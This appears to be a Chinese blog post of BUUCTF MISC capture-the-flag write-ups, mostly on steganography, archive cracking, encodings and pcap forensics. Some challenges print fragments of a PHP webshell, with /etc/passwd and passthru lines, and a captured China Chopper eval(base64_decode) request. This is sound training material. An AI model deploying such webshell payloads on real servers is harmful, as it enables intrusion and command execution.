BUUCTF MISC刷题



<u>五五六六0524</u> □ 已于 2022-03-17 19:12:44 修改 0 2117 ☆ 收藏 2 分类专栏: <u>CIF积累及刷题</u> 文章标签: <u>安全</u> 于 2022-01-12 11:02:00 首次发布 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。 本文链接: <u>https://blog.csdn.net/wow0524/article/details/122448957</u>



CTF积累及刷题 专栏收录该内容

6篇文章0订阅 订阅专栏 目录

- 题1、LSB
- 题2、镜子里面的世界
- 题3、ningen
- 题4、面具下的flag
- 题5、FLAG
- 题6、假如给我三天光明
- 题7、九连环
- 题8、后门查杀
- 题9、webshell后门
- 题10、荷兰宽带数据泄露
- 题11、刷新过的图片
- 题12、被劫持的神秘礼物
- 题13: 认真你就输了
- 题14: snake
- 题15: 藏藏藏
- 题16: 佛系青年
- 题17: 菜刀666
- 题18: 被偷走的文件
- 题19: 你猜我是个啥
- 题20: 梅花香自苦寒来
- 题21:秘密文件

- 题22: just_a_rar
- 题23: 神奇的二维码
- 题24:一叶障目
- 题25: 鸡你太美
- 题26: 穿越时空的思念
- 题27: excel破解
- 题28: find_me
- 题29: 纳尼
- 题30: outgess
- 题31、谁赢了比赛
- 题32、来题中等的吧
- 题33、我有一只马里奥
- 题34、[GXYCTF2019]gakki
- 题35、[SWPU2019]伟大的侦探
- 题36、[GUET-CTF2019]KO
- 题37、黑客帝国
- 题38、[MRCTF2020]ezmisc
- 题39、sqltest
- 题40、弱口令
- 题41、[HBNIS2018]caesar
- 题42、[HBNIS2018]低个头
- 题43、[SUCTF2018]single dog
- 题44、Mysterious
- 题45、喵喵喵
- 题46、[MRCTF2020]你能看懂音符吗
- 题47、NTFS数据流
- 题48、我吃三明治
- 题49、john-in-the-middle
- 题50、[安洵杯 2019]吹着贝斯扫二维码
- 题51、[ACTF新生赛2020]swp
- 题52、[GXYCTF2019]SXMgdGhpcyBiYXNIPw==

题1、LSB

O, BUUCTF LSB_360 × C (1g	^{条消息) BU}	\$				—	\times
mp.csdn.net/mp_blog/creation/	editor/1			Extract Preview			
StegSolve 1.3 b − □ File Analyse Help	×	89504e470d0a1a0a 000 0000011800000118 080 db00000542494441 547	00000d49484452 200000008ec7e 89ceddd416e23	.PNG BIDA Tx	IHDR ~ .An#		
Norma File Format		391000416931ffff b2f	707c480932e57	9Ai1	W		
Data Extract Stereogram Solver		cb1157c3564b5682 870 f837fffdf403c027 101 4048101012048404 012	2c9f7d7d7d7d70b 2048404012141 141e0cfe167ef		!A g.		
Frame Browser	\mathbf{N}	e5ffe5bbb7bcdff9 9f6	2458280902020	.{.9rbE.	· · · ·		
Image Combiner	ATTA I	2408080902428280 902	0202408080902	\$B \$			-
022 1 10更新第四次	K9010/H93	Bit Planes Alpha 7 6 Red 7 6 Green 7 6 Blue 7 6	5 4 3 2 5 4 3 2 5 4 3 2 5 4 3 2 5 4 3 2 5 4 3 2 5 4 3 2		Order settings Extract By	w O Column B First O LSB First GRB BRG	
告stegsolve的具体使用,这	位大佬i	Preview Settings Include Hex	Dump In Preview 🔽			BGR	
亙1、BUUCTF的LSB							
			Preview Sa	ve Text Save B	in Cancel	CSDN @五五六才	70524

网上教程有很多,具体就是Analyse->Data Extract,选中RGB通道的0,然后Save Bin保存为png就行了

题2、镜子里面的世界

binwalk发现里面没有

root⊗kal # binwalk -	i)-[/home/kali/D e <u>steg.png</u>	esktop] 1 🗙
DECIMAL	HEXADECIMAL	DESCRIPTION
 0 rlaced	0×0	PNG image, 800 x 600, 8-bit/color RGB, non-inte
83	0×53	Zlib compressed data, best compres <u>sion</u> CSDN @五五六六0524

用stegslove

🛓 StegSo	re 1.3 by Caesum	_	×
File Analys	e Help		
Normal Imag			
I F		- 🗆	×
	Extract Preview		
	865792049207468 696e6b2077652063 Hey I th ink we c		
	16e207772697465 20736166656c7920 an write safely		
	96620/46869/320 6669666520//69/4 in this file Wit 86f757420616679 6f66652073656569 bout any one seei		
	e672069742e2041 6e797761792c2074 ng it. A nyway, t		
	865207365637265 74206b6579206973 he secre t key is		
	a2073743367305f 7361757275735f77 : st3g0_ saurus_w		
	233636b73000000 000000000000000 r3cks		
	0000000000000 0000000000000		
	00000000000000000000000000000000000000		-
	Bit Planes Order settings		
		mn	
	Red 7 6 5 4 3 2 1 12 0 Bit Order MSB First Image: Image	LSB First	
	Green 7 6 5 4 3 2 1 0 Bit Plane Order		
	Blue 7 6 5 4 3 2 1 0 0 RGB GRB		
	Preview Settings		
	Include Hex Dump In Preview 🖌 🕓 GBR 🕓 BGR		H
	Preview Save Text Save Bin Cancel	055÷	0524
L	CODN		0024

题3、ningen

binwalk发现里面有一个压缩包,打开需要密码

(root⊙ kal ∦ binwalk -	i)-[/home/kali/D e <u>3.jpg</u>	esktop]
DECIMAL	HEXADECIMAL	DESCRIPTION
Ø	0×0	JPEG image data, JFIF standard 1.01
WARNING: Extr Errno 2] No s led correctly 38689	actor.execute fa uch file or dire 0×9721	iled to run external extractor 'jar xvf '%e'': [ctory: 'jar', 'jar xvf '%e'' might not be instal Zip archive data. encrypted at least v2.0 to ex
tract, compre 38871	ssed size: 50, u 0×97D7	ncompressed size: 38, name: ningen.txt End of Zip archive, footer length:_22_ CSDN @五五六六0524

尝试爆破,根据提示应该是4位数,爆破得到密码8368,解开得到flag{b025fc9ca797a67d2103bfbc407a6d5f}

题4、面具下的flag

binwalk一下得到压缩包,用winhex打开发现是标准伪加密,09改成00就行



在kali中打开vmdk"7z x flag.vmdk -o./" ,在key_part_one(Brainfuck编码)和key_part_two(Ook!编码) 中分别得到flag的一半

题5、FLAG

binwalk一下,发现有zlib,怀疑是zsteg隐写

(kali⊛kal └\$ binwalk <u>1</u>	<mark>i</mark>)-[~/ 桌面] .png		
DECIMAL	HEXADECIMAL	DESCRIPTION	
 0 rlaced	0×0	PNG image, 664 x 586,	8-bit/color RGB, non-inte
41	0×29	Zlib compressed data,	default compression CSDN @五五六六0524

果然

(kali⊛kali)-[~/ s zsteg 1.png	
imagedata	text: "KK<220\r\r"
b1,rgb,lsb,xy	. file: Zip archive data, at least v2.0 to extract
b1,bgr,msb,xy	text: "saZ\$S:'6"
b3,b,lsb,xy	text: "#?/(9Rk;"
b3,rgb,lsb,xy	text: "~G#\rwW:U"
b4,r,lsb,xy	text: "Ewe##333#\"#"
b4,r,msb,xy	text: ";UUUUUUU"
b4,g,lsb,xy	text: "yffgfTS22"
b4,g,msb,xy	text: "gF87rqw@Bw"
b4,b,lsb,xy	text: "ffffvvgwfvfw"
b4,rgb,msb,xy	text: "Dsr@3%\"7"
b4,bgr,msb,xy	text: "vCp2C\"5'" CSDN @五五六六0524

把这个通道中的zip提取出来, zsteg -e b1,rgb,lsb,xy 1.png -> out.zip,解压 后得到一个1文件



查找一下里面的字符,直接出, flag{dd0gf4c3tok3yb0ard4g41n~~~}



题6、假如给我三天光明

打开之后有图片和一个加密的压缩包,容易联想到盲文,对照一下,是kmdonowg,解压得到wav音频,用 Audacity打开后得到像摩斯密码的轨道



-.-. - ..-. .-- .--. . .. ----- ---.. --... ...-- ..--- ..--.. ..--- ...--

解密: ctfwpei08732?23dz

题7、九连环

binwalk一下得到压缩包

<pre>(root@kali)-[/home/kali/Desktop] # binwalk -e <u>123.jpg</u></pre>										
DECIMAL	HEXADECIMAL	DESCRIPTION								
0	0×0	JPEG image data, JFIF standard 1.01								
WARNING: Extr Errno 2] No s led correctly	actor.execute fa uch file or dire	iled to run external extractor 'jar xvf '%e'': [ctory: 'jar', 'jar xvf '%e'' might not be instal								
19560 e: asd/	0×4C68 Zip archive data, at least v1.0 to extract,									
48454	0×BD46	Zip archive data, at least v1.0 to extract, com								
pressed size:	184, uncompress	ed size: 184, name: asd/qwe.zip								
48657	0×BE11	End of Zip archive, footer length: 22								
48962	0×BF42	End of Zip archive, footer length: 22								
(<u>root@kal</u>	i)-[/home/kali/D	esktop]								
- #		CSDN @五五六六0524								

有密码打不开,暴力破解得不到,用winhex打开果然又是伪加密,01改为00,打开之后是一张图和一个压缩包

)1	69	B8	48	34	83	48	DЗ	01	Ε9	FC	59	4∎HÓ i,H4∎HÓ éüY
]1	50	4B	01	02	ЗF	00	14	00	01	08	08	1∎HÓ PK ?
4B	8C	ЗA	D5	7E	88	70	00	00	28	75	00	HNSK∣:Õ~∣p (u
00	00	00	00	00	00	00	20	00	00	00	22	
	- ·					- ·						

用steghide查找这张图"steghide info good.jpg",密码为空,发现图片里面有ko.txt文件,提取出来"steghide extract -sf good.jpg",得到bV1g6t5wZDJif^J7



解压得到flag{1RTo8w@&4nK@z*XL}

现在遇到的图片隐写有LSB、steghide、zsteg,还不太懂他们之间有什么区别,什么时候应用,待查

题8、后门查杀

webshell会报毒,用火绒查杀一下得到具体路径,根据题目得到提示密码pass即flag,在kali里查找关键字 pass,得到flag

```
    ✓ 风险项目
    ✓ C:\Users\86139\Desktop\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d.rar >> html\include\include.php
后门病毒 Backdoor/PHP.WebShell.h
    ✓ C:\Users\86139\Desktop\10b1cf9b-cfb1-40f2-8340-c1bf78b37c9d.rar >> html\include\include.php
行力式
```

F	kali@kali: ~/桌面/html/include	$\bigcirc \bigcirc \bigotimes$
文件 动作 编辑 查看 帮助		
CD		
(kali⊛ kali)-[~/桌面/htm \$ cat include.php grep //echo encode_pass('angel'	nl/include] 'pass');exit;	
<pre>\$pass = '6ac45fb83b3bc355</pre>	024f5034b947dd3'; //angel	
scookie('loginpass	', '', -86400 * 365);	
if(\$pass) {		
if (\$ <mark>pass</mark> :	= encode_ pass (\$P[' pass word'])) {
SC	ookie('login <mark>pass</mark> ',encode_pass(\$P[' <mark>pass</mark> word']));
if (isset(\$_COOKIE	['loginpass'])) {	
1† (\$_COOK.	LE['loginpass'] ≠ \$pass) { ['dbmens']) 2 ¢p['dbmens'] . '	
λαρ <mark>ραςς</mark> = Isset(λΡ	[OD pass]) : \$P[OD pass] : 2→connoct(\$dbbost \$dbuson \$; dbmane (dbmame);
makeinput(array('n	ame'⇒'dhnace' 'size'⇒15 'val	$uo' \rightarrow (dbbass)$
if (\$dbhost & \$db	user δf isset(\$dbnass)) {	
\$DB→conne	ct(\$dbhost, \$dbuser, \$dbpass,	\$dbname);
secparam('	Readable /etc/ pass wd', @is_rea	dable('/etc/passwd')
? "yes" : 'no');		
makeinput(array('na } elseif(fu مه	ame'⇒' pass word','type'⇒' pass unction_exists(' <mark>pass</mark> thru')) { assthru(\$cfe);	word','size'⇒'20'));
ret '		
Passwd: '.\$array[d: '.\$array['gid'].'		
 dir'].'		
Shell: '.\$a function encode_pass(\$pass	turn ' / <a href="#" title="Us
'<mark>pass</mark>wd'].'	
Uid: '.\$arr
10Gecos: '.\$array['gecos'].'&#
rray['shell'].'">'.\$array['nam) { >.	er: '.\$array['name']. ay['uid'].'	
gi 13
Dir: '.\$array[' e'].'';		
3pass = mas(\$k.\$pa		CSDN @五五六六0524

kali查找文件里的关键字: 1、grep +'关键字' +文件名, 2、cat +文件名 | grep +"关键字", 3、cat +文件名 | grep +"关键 字" -A/B/C/v +数字 得到关键字之后/前/前后几行的内容, v是排除关键字那一行

kali查看当前文件夹中包含关键字的文件: grep -r '关键字'

kali查看文件内容: 1、vim+文件名, 2、cat+文件名, 3、cat-n+文件名显示行号

通配符:引自https://blog.csdn.net/liyuru4/article/details/51834669

1、"*"用于匹配文件中任意长度的字符串,可以代表很复杂很长的字符串。

例: *.cpp *.c

- 2、"?"和"*"类似,但只匹配一个字符。
 - 例: \$ Is queue.?

queue.c

3、"[]"用于匹配所有出现在方括号内的字符,一个文件只能匹配一个字符。

```
例: $ ls text[1A]
```

text1 textA

4、"-"来指定一个字符集范围,所有包含在上下界(可以是数字或字母)之间的字符都会被匹配。

例: \$ ls text[1-3]

text1 text2 text3

题9、webshell后门

和上一题同样的做法

✓	风险项目	状态
~	C:\Users\86139\Desktop\827baa91-be16-43a4-8762-d215f5f55382.rar >> member\zp.php 后门病毒 Backdoor/PHP.WebShell.h	待处理 <mark>详情</mark> CSDN @五五六八0524



题10、荷兰宽带数据泄露

解压得到conf.bin文件,是路由器备份文件。工具我看都用的RouterPassView,没收集到,flag{053700357621}

路由器备份的配置文件一般是.bin格式,默认名称通常是conf.bin,如下图。这个备份的配置文件中,包含了宽带账号、 宽带密码以及WiFi密码等信息

题11、刷新过的图片

参考这两位大佬的wp

BUUCTF:刷新过的图片_末初 · mochu7-CSDN博客_buu刷新过的图片

BUUCTF misc 刷新过的图片_hhh-CSDN博客_刷新过的图片

第一次接触到F5隐写,下载之后会得到一个F5-steganography文件夹,直接在此处打开终端,换成root,不然 会提示权限不够,输入java Extract /图片的绝对路径 [-p 密码] [-e 输出文件],会输出output.txt文件(在F5-steganography文件夹里面),本质是一个伪加密的zip,flag{96efd0a2037d06f34199e921079778ee}

下载git clone https://github.com/matthewgao/F5-steganography



题12、被劫持的神秘礼物

根据题目提示找账号密码,追踪tcp.stream eq 0, admina+adminb 🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 0) · gift.pcapng \times POST /index.php?r=member/index/login HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.60.123/index.php?r=member/index/login Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 192.168.60.123 Content-Length: 129 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=ubkh99eqgp4apge0n5stkimna4 name=<mark>admina</mark>&word=adminb&cooktime=0&checkcode=5129&returnurl=http%3A%2F%2F192.168.60.123%2Findex.php%3Fr%3Ddefault%2Findex%2F indexHTTP/1.1 302 Found Date: Wed, 03 Dec 2014 05:51:53 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Centent-Type: text/html;charset=UTF-8 Pragma: no-cache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Set-Cookie: yx_auth=da73XtTCqWpRWN%2Fi54TTa1mwjLXu6IffS392Ux2o4RQXYyF08uwKAN0Teu8LaeOHr07AdsDITqLLmrc6IItPgiqV5BA6J3Q4Mw; path=/ location: http://192.168.60.123/index.php?r=default/index/index Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

CSDN @五五六六0524

用32位小写MD5哈希一下得到flag{1d240aafe21a86afc11f38a45b541a49}

题13: 认真你就输了

直接拖进kali里,binwalk发现里面有东西,foremost分离,真不好找,flag{M9eVfi2Pcs#} 4 ▲ ◆ ■ 桌面 charts î 位置 💻 计算机 </>> </> 🚽 kali chart1.xml chart2.xml flag.txt ... 桌面 🥛 回收站 💿 文档 ♬ 音乐 🗾 图片 🗖 视频 😺 下载 设备 ○ 文件系统 网络 📕 浏览网络 CSDN @五五六六0524 "flag.txt": 17 字节 plain text document

题14: snake

foremost分离得到key和cipher,key里面是base64加密的,解密后得到

What is Nicki Minaj's favorite song that refers to snakes?

找到这个人与蛇相关的最喜欢的歌,找了个wpbuuctf-misc-snake 详解 - junlebao - 博客园,是anaconda,加密 算法是Serpent,也有蛇的意思,flag{who_knew_serpent_cipher_existed}

Input type:	File	*
File:	C:\fakepath\cipher	Browse
Function:	SERPENT	•
Mode:	ECB (electronic codebook)	•
Key: (plain)	anaconda	
	● Plaintext ○ Hex	
	> Encrypt! > Decrypt!	

File was uploaded.

Decrypted text:

00000000	43	54	46	7b	77	68	6f	5f	6b	6e	65	77	5f	73	65	72	c	T T	F	{	W	h	0	_	k	n	е	W	_ 5	e	r
00000010	70	65	6e	74	5f	63	69	70	68	65	72	5f	65	78	69	73	r I) e	n	t	_	С	i	р	h	е	r	_	e x	i	s
00000020	74	65	64	7d	00	00	00	00	00	00	00	00	00	00	00	00	t	e e	d	}											
[Download a	as a bi	nary	file] [[?]																										nac	tive

Checkout?

CSDN @五五六六0524

题15: 藏藏藏

binwalk一下那张图,发现有压缩包,解压之后得到福利.docx,无法直接打开,又binwalk一下发现里面有东西,改后缀,在/word/media/里有一张二维码,一扫就出来了,flag{you are the best!}

题16: 佛系青年

还以为第图片隐写,找了半天没看出来啥,最后根据wp发现是伪加密,09改成08即可

<mark>★</mark> 8770h:	FD	86	В5	EE	91	10	95	06	FC	C7	04	8F	8D	4A	D9	9D	ý†µî`.•.üÇJÙ.
8780h:	FC	01	50	4B	01	02	1F	00		00	00	00	08	00		64	ü. <mark>PK</mark> Âd
8790h:	66	4 F	C0	85	7E	7в	39	84	00	00	56	84	00	00	05	00	f0À~{9"V"
87A0h:	24	00	00	00	00	00	00	00	20	00	00	00	00	00	00	00	ş
87B0h:	31	2E	70	6E	67	A 0	00	20	00	00	00	00	00	01	00	18	1.png
87C0h:	00	64	2В	49	\mathbf{FB}	5B	94	D5	01	В6	55	39	\mathbf{FB}	5B	94	D5	.d+Iû[″Õ.¶U9û[″Õ
87D0h:	01		22	26	\mathbf{FB}	5в	94	D5	01	50	4B	01	02	1F	00	14	.#"&û[″Õ. <mark>PK</mark>
87E0h:	00		00	80	00	51	AB	65	$4\mathrm{F}$		26	AB	0C	02	03	00	Q«eOf&«
87F0h:	00		0B	00	00	06	00	24	00	00	00	00	00	00	00	20	\$
8800h:	00	00	00	5C	84	00	00	66	6F	2E	74	78	74	A 0	00	20	\"fo.txt
8810h:	00	00	00	00	00		00		00	6E	Α4	82	A5	DC	93	D5	n¤,¥Ü``Õ
8820h:	01	Fб	В6	E1	51	DC	93	D5	01	Fб	вб	E1	51	DC	93	D5	.ö¶áQÜ``Õ.ö¶áQÜ``Õ
8830h:	01	50	4B	05	06	00	00		00	02	00	02	00	AF	00	00	. PK
8840h:	00	82		00	00	00	00										.,‡ <u> </u>
																	CSDN @五五六六0524



佛祖保佑 永无BUG 写字楼里写字间,写字间里程序员; 程序人员写程序,又拿程序换酒钱。 酒醒只在网上坐,酒醉还来网下眠; 酒醉酒醒日复日,网上网下年复年。 但愿老死电脑间,不愿鞠躬老板前; 奔驰宝马贵者趣,公交自行程序员。 别人笑我忒疯癫,我笑自己命太贱; 不见满街漂亮妹,哪个归得程序员?

佛曰:遮等諳勝能礙皤藐哆娑梵迦侄羅哆迦梵者梵楞蘇涅侄室實真缽朋能。奢怛俱道怯都諳怖梵尼怯一罰心缽謹缽薩苦奢夢怯帝梵遠朋陀諳陀穆諳所呐知涅侄

CSDN @五五六六0524

把佛曰的内容用与佛论禅翻译一下即可与佛论禅

flag{w0_fo_ci_Be1}

题17: 菜刀666

wireshark打开, 搜了一下, 在tcp.stream eq 1里找到flag.txt, 扔kali里分离得到一个压缩包, 暴力破解破不开, 需要找密码

Date: Fri, 08 Dec 2017 11:41:29 GMT Server: Apache/2.4.23 (Win64) PHP/5.6.25 X-Powered-By: PHP/5.6.25 Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 -> ./ 2017-12-08 11:38:58 0 0777 ../ 2017-12-08 11:39:10 4096 0777 1.php 2017-12-08 11:33:16 33 0666 flag.txt 2017-12-08 11:35:29 17 0666 hello.zip 2017-12-08 09:32:36 0666 224 <-POST /upload/1.php HTTP/1.1 User-Agent: Java/1.8.0 151 Host: 192.168.43.83 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; c

Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 725

aa=@eval. (base64_decode(\$_POST[action])):&action=OGluaV977XOoTmRpc

在tcp.stream eq 7里找到一大堆字符串,z1翻译是D:\wamp64\www\upload\6666.jpg7,z2应该就是这张图了, 从FFD8复制到FFD9,扔winhex里粘贴至新文件,命名成666.jpg,得到解压密码



JP6FzK-koCMAK-VkfWBq-75Un2z}

解压得flag{3OpWdJ-

题18: 被偷走的文件

扔kali里分离提取出来一个rar压缩包,爆破得密码5790,解压得flag{6fe99a5d03fb01f833ec3caa80358fa3}



题19: 你猜我是个啥

下载下来是一个压缩包,打不开,显示文件已损坏,扔winhex里一看文件头是"89504E47",改后缀为png出现 一个二维码,扫了一下是"flag不在这",扔kali里binwalk一下,发现zlib标识,zsteg

隐写

(kali⊛kal ∟ <mark>\$</mark> binwalk <u>a</u>	<mark>i</mark>)-[~/桌面] ttachment.png		
DECIMAL	HEXADECIMAL	DESCRIPTION	
 0 erlaced	0×0	PNG image, 245 x 256,	8-bit/color RGBA, non-int
41	0×29	Zlib compressed data,	default compression CSDN @五五六六0524

直接出, flag{i_am_fl@g}



题20: 梅花香自苦寒来

binwalk没有发现什么,winhex一下发现里面有一大堆数字,很奇怪,剩下的就不太会 了,https://www.cnblogs.com/harmonica11/p/11365812.htmlflag{40fc0a979f759c8892f4dc045e28b820}

题21:秘密文件

在wireshark里搜了一下flag,发现,应该是传输的rar

🚄 Wireshark · 追踪 TCP 流 (tcp.stream eq 0) · 305df1f78bef4ccfd2a3bd0fe4a6c0d7.pcapng

```
220 HI, i know you are a hacker who is trying to hack me ,but can u find where is the flag?a
USER ctf
331 Password required for ctf
PASS ctf
230 Client :ctf successfully logged in. Client IP :172.16.66.100
PORT 172,16,66,100,30,158
200 Port command successful.
LIST
150 Opening ASCII mode data connection for directory list.
226 Transfer complete.
PORT 172,16,66,100,30,162
200 Port command successful.
RETR 6b0341642a8ddcbeb7eca927dae6d541.rar
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete.
QUIT
220 Bye
                                                                                  CSDN @五五六六0524
```

foremost分离出来,爆破一下,密码是1903,flag{d72e5a671aa50fa5f400e5d10eedeaa5}

题22: just_a_rar

解压出来是4位数.rar,爆破得密码是2016,解压得到一张图片,放winhex里直接得flag{Wadf 123}

__ __ __ __ __ -- --00001040 00001050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00001060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00001070 00 00 00 00 00 00 00 00 00 00 00 00 66 00 6C 00 f 1 61 OO 67 OO 7B OO 57 OO 00001080 61 00 64 00 66 00 5F 00 ag{Wadf_ 31 00 32 00 33 00 7D 00 00 00 FF E1 08 DD 68 74 123} ÿá Ýht 00001090 74 70 3A 2F 2F 6E 73 2E 000010A0 61 64 6F 62 65 2E 63 6F tp://ns.adobe.co 6D 2F 78 61 70 2F 31 2E 30 2F 00 3C 3F 78 70 61 000010B0 m/xap/1.0/ <?xpa 000010C0 63 6B 65 74 20 62 65 67 69 6E 3D 27 EF BB BF 27 cket begin='' 30 4D 70 43 65 68 69 48 Did@ w500MpCeWil24 000010D0 20 69 64 3D 27 57 35 4D

题23: 神奇的二维码

解压得到一张二维码,扫了一下,什么也没有

Free Online Barcode Reader

To get such results using ClearImage SDK use TBR Code 103.

If your **business** application needs barcode recognition capabilities, email your technical questions to support@inliteresearch.com email your sales inquiries to sales@inliteresearch.com

File: BitcoinP	ay.png	New File
Pages: 1		Barcodes: 1
Barcode: 1 of 1	Type: QR	Page 1 of 1
Length: 25	Rotation: none	■ 決議部 ■
Module: 11.6pix	Rectangle: {X=15,Y=15,	Width=368,Height=368}
		扫服夫性那些叫马服
supurtf/flag is no	t here}	
swpucci (i iag_is_ii	ierej	115 S S 4
		CSDN @1000000000000000000000000000000000000

binwalk一下发现里面有rar,奇怪的是foremost提取不出来,binwalk-e+文件名提取出来了

(kali⊛ ∫\$ binwal	kali)-[~/桌面] k <u>1.png</u>	
DECIMAL	HEXADECIMAL	DESCRIPTION
0	0×0	PNG image, 400 x 400, 8-bit/color RGBA, non-int
erlaced		
28932	0×7104	RAR archive data, version 5.x
29034	0×716A	RAR archive data, version 5.x
94226	0×17012	RAR archive data, version 5.x
99220	0×18394	RAR archive data, version 5.x CSDN @五五六六0524

得到4个压缩包

🏁 716A.rar	
🏜 7104.rar	
🏙 17012.rar	
🏁 18394.rar	CSDN @五五六六052

17012.rar解压得到flag.docx,里面是base64,一直解密解密,(这位写了一个脚本,还挺好用的BUUCTF: [SWPU2019]神奇的二维码_末初 · mochu7-CSDN博客_buuctf神奇的二维码),得到 comEON_YOuAreSOSoS0great

7104.rar解压得到encode.txt, YXNkZmdoamtsMTIzNDU2Nzg5MA==, base64解密得asdfghjkl1234567890

716A.rar解压得到一张图和一个加密的rar,密码就是asdfghjkl1234567890,两张图一样,没啥用

18394.rar的密码就是comEON_YOuAreSOSoS0great,解压得到good.mp3,用Audacity打开,



扔kali里说CRC错误



找了个脚本Buuctf一叶障目_Dexret的博客-CSDN博客_buuctf一叶障目

```
#coding=utf-8
import zlib
import struct
#读文件
file = '1.png' #注意, 1.png图片要和脚本在同一个文件夹下哦~
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A #补上0x, copy hex value
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x01\xF1\x08\x06\x00\x00\x00\x00) #hex下copy grep
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
   width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
   for h in range(n):
       height = bytearray(struct.pack('>i', h))
       for x in range(4):
           data[x+4] = width[x]
           data[x+8] = height[x]
           #print(data)
       crc32result = zlib.crc32(data)
       if crc32result == crc32key:
           print(width,height)
           #写文件
           newpic = bytearray(fr)
           for x in range(4):
               newpic[x+16] = width[x]
               newpic[x+20] = height[x]
           fw = open(file+'.png','wb')#保存副本
           fw.write(newpic)
           fw.close
```

校验过后出了一张图片, flag{66666}



题25: 鸡你太美

下载下来是两张动图,扔kali里binwalk一下,关键应该在篮球副本的那张图



扔winhex里,篮球副本少了个"47494638"的文件头

	篮球副本.gif	篮球	रे.gif															
1	Offset	0	1	2	3	4	- 5	6	7	8	- 9	A	В	С	D	E	F	^
	00000000	47	49	46	38	39	61	Β4	00	40	01	F6	31	00	1C	18	25	GIF89a′@ö1 %
	00000010	1D	1A	2B	1E	1F	36	21	1C	2C	24	1E	34	28	23	39	36	+ 6!,\$ 4(#96
	00000020	28	39	27	26	43	ЗC	2D	43	45	37	4D	51	43	56	56	4IC	SDN&CX FCE7MQCXV0524
l	00000000	67	cλ	сo	сħ	70	C A	70	77	сD	on	Oλ	71	on	00	77	07	ar i Varead errora III + II er I

		-	-		_		_							···· ·							-	-	4.		
	篮球.gif 🖁	邸	副本	.gif																					
1	Offset		0	1	2	3	4	- 5	6	- 7	8	- 9	A	В	C	D	E	F						~	
	0000000	D	<mark>3</mark> 9	61	68	01	80	02	F 7	00	31	00	FF	00	04	04	ΟA	ΟB	9ah	I	÷	1	ÿ		
	00000010	D	09	14	OF	0C	1A	15	21	2C	15	2C	ЗA	16	10	1B	16	11			Ι,		:		
	00000020	D	21	17	16	21	19	17	28	1B	17	23	1B	17	28	1B	1C	2D	ļ	ļ	_(#	. (-	-	
	00000030	D	1C	19	2A	1C	1A	2A	1F	19	2B	20	16	24	20	1D	29	203	5DN+	0	¥ŕI.	<u>#</u> 7	7इं⊼्0	524	
1	0000004/	n	17	25	~ 1	475	\sim 1	22	20	25	24	22	27	~ 4	20	20	20	20		-		~ 0	2010		

选中开头第一个,编辑-粘贴0字节-插入4个字节

在偏移量0插入	×
插入0字节数:	
4]
确定(O) 取消(A)	六0524

然后变成这样,直接把"00000000"修改成"47494638",然后保存就行了

₹U -	U	±.	2	э	4	Ð	ю	1	0	Э	A	D	U.	D	E.	Г						^
000	00	00	00	00	39	61	68	01	80	02	F7	00	31	00	FF	00		9ah	1	$\frac{1}{2}$	1 ÿ	
)10	04	04	0A	0B	09	14	OF	0C	1A	15	21	2C	15	2C	ЗA	160	SDN	@ <u>7</u>	Ŧ	六プ	7052	4
100	10	110	10	4.4	0.1	1.77	3.0	0.1	1.0	1.77	20	4.00	1.77	22	1.0	1.77		1.	1 - E	1	ш	

篮球副本上出现flag, flag{zhi_yin_you_are_beautiful}





摩斯密码解密, flag{f029bd6f551139eedeb8e45a175b0786}

题27: excel破解

flag{office_easy_cracked}

	attachment.x	ls																
	Offset	Ō	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	^
	000422A0	0C	00	24	00	FA	00	03	00	20	00	F6	03	2B	00	DE	04	\$ú ö+Þ
	000422B0	01	00	Α8	00	52	02	20	00	F6	03	AC	00	01	00	ΟB	00	¨R ö¬
	00042200	27	00	F6	03	00	00	00	00	00	00	Α8	00	54	02	6B	00	'ö ïTk
	000422D0	00	00	Α8	00	56	02	FF	00	C7	00	Α8	00	58	02	6B	00	¨ V ÿ Ç ¨ X k
	000422E0	00	00	Α8	00	5A	02	20	00	F6	03	27	00	CC	06	00	00	¨Ζ ö'Ì
	000422F0	00	00	Α8	00	5E	02	7A	00	00	00	AЗ	00	5C	02	С8	D8	∵^z £∖ÈØ
	00042300	00	00	Α8	00	66	02	20	00	ΒE	02	21	00	CO	02	20	00	″f ¾!À
	00042310	ΒE	02	21	00	C2	02	Β6	00	10	00	47	65	74	4E	6F	64	¾!¶ GetNod
	00042320	65	73	42	79	46	69	6C	65	28	29	41	00	BC	02	03	00	esByFile()A ¼
	00042330	00	00	69	00	FF	FF	90	D8	00	00	96	18	70	58	00	00	iÿÿØ∣pX
	00042340	00	00	Α8	00	16	02	20	00	1E	02	21	00	20	02	21	00	··· I I
	00042350	5E	00	Β6	00	00	00	05	00	9B	00	47	00	C9	00	5C	02	^¶ IGÉ∖
	00042360	6A	00	Α8	00	1C	02	20	00	D4	06	Β7	04	05	00	9C	00	j Ö ʻl
	00042370	00	00	Α8	00	22	02	Β7	04	20	00	D2	06	24	00	D6	06	∵"• Ó\$O
